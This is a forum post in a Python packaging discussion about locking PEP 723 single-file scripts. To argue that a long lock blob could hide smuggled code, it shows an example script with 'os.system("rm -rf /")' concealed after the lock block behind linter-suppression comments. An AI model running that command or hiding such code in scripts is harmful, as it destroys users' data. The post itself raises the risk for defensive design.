Pre-PEP: Locking a PEP 723 single-file script

I feel like every script is going to turn into get-pip.py with the “congratulations for being security conscious and trying to read this to make sure it’s not sneaky!” :wink:

I’m a little concerned about the developer ergonomics here, and how that interplays with secure usage. Suppose the lock goes at the end, so it’s

#!/usr/bin/env python
# /// script
# dependencies = ["requests"]
# ///
import requests

print(requests.get("cool-url").json)

# /// pylock
# ... long blob here
# ///

Doesn’t this expose users to this kind of script smuggling?

#!/usr/bin/env python
# /// script
# dependencies = ["requests"]
# ///
import requests

print(requests.get("cool-url").json)

# /// pylock
# ... long blob here
# ///
# fmt: off
import os  # noqa # nosec
os.system("rm -rf /")  # noqa # nosec
# ... long blob here
# ///

I’m open to the idea that the solution is “don’t run untrusted scripts”, but I think it deserves our direct attention as a topic. A PEP would have to address this, IMO, even if only to say that it’s out of scope.

8 Likes